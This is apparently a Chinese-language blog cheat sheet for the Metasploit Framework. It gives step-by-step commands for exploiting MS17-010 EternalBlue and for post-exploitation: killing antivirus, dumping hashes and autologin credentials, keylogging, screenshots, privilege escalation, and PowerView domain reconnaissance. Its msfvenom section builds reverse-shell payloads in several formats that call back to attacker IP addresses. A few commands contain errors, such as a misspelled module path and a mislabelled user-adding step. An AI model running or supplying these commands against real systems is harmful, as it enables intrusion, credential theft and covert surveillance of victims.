Metasploit Framework(MSF)

目录

简介

基础使用

模块简介

Auxiliaries (辅助模块)

Exploit (漏洞利用模块)

Payload (攻击载荷模块)

Post (后期渗透模块)

Encoders (编码工具模块)

后渗透阶段

Meterpreter的命令用法

Post 后渗透模块

键盘记录

屏幕截图

权限提升

上传/下载文件

常用扩展库

msfvenom生成shell的命令

导入并执行PowerShell脚本


简介

是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。

基础使用

进入框架

msfconsole

使用search命令查找相关漏洞

search  ms17_010

使用use进入模块

use exploit/windows/smb/ms17_010_eternalblue

使用info查看模块信息

info

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

查看模块需要配置的参数

show options

设置参数

set  RHOST  192.168.100.158

攻击

exploit / run

模块简介

Auxiliaries (辅助模块)

​包含了一些辅助功能的模块,如扫描、信息收集等。

Exploit (漏洞利用模块)

​包含了各种用于利用特定漏洞的模块,例如针对不同操作系统和应用程序的漏洞利用代码。

Payload (攻击载荷模块)

​提供用于在目标系统上执行操作的有效载荷代码,例如反向Shell、远程控制等。

Post (后期渗透模块)

​使用资源模块执行各种后渗透操作,如信息收集、数据盗取、持久化等。

Encoders (编码工具模块)

在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。

后渗透阶段

Meterpreter的命令用法

background 把当前会话挂到后台运行

exit 终止 Meterpreter 会话

shell 放入系统命令 shell

sessions -l 查看获得的meterpreter_shell会话列表

sessions -i 1 进入相应的meterpreter_shell中

Post 后渗透模块

获取目标分区情况

run post/windows/gather/forensics/enum_drives

自动进程迁移

run post/windows/manage/migrate

查看目标主机是否运行在虚拟机上

run post/windows/gather/checkvm

关闭杀毒软件

run post/windows/manage/killav

开启远程桌面服务

run post/windows/manage/enable_rdp

查看路由信息

run post/windows/manage/autoroute

列举当前登录的用户

run post/windows/gather/enum_logged_on_users

列举应用程序

run post/windows/gather/enum_applications

抓取自动登录的用户名和密码

run post/windows/gather/credentials/windows_autologin

dump出所有用户的hash

run post/windows/gather/smart_hashdump

收集系统环境信息

run post/multi/gather/env

查看开启的服务

run post/windows/gather/enum_services

查看目标主机最近的操作

run post/windows/gather/dumplinks

删除用户

run post/wndows/manage/delete_user username=aiyou

添加用户

run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou

查看目标机安装了哪些应用、补丁

run post/windows/gather/enum_applications

对目标进行漏洞扫描

run post/multi/recon/local_exploit_suggester

键盘记录

keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;

keyscan_dump: #显示捕捉到的键盘记录信息

keyscan_stop: #停止键盘记录功能

屏幕截图

screenshot

权限提升

getuid

#命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。

getsystem

#自动提权为系统权限

上传/下载文件

上传

upload file

下载

download file

常用扩展库

load/use

load/use #加载模块

load -l #列出所有可用的扩展

load -help #帮助;说明

msfvenom生成shell的命令

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.132 LPORT=9999 -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=<Your Port to Connect On> -f exe > shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

导入并执行PowerShell脚本

加载powershell功能

load powershell

导入powershell脚本,提前将该powershell脚本放到指定目录

powershell_import /root/PowerView.ps1

执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;

powershell_execute Get-NetDomain

该功能模块用于定位域管理员登录的主机

powershell_execute Invoke-UserHunter

该模块用于定位域信息

powershell_execute Get-NetForest

枚举域中所有计算机上本地管理员组的成员

powershell_execute Invoke-EnumerateLocalAdmin

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值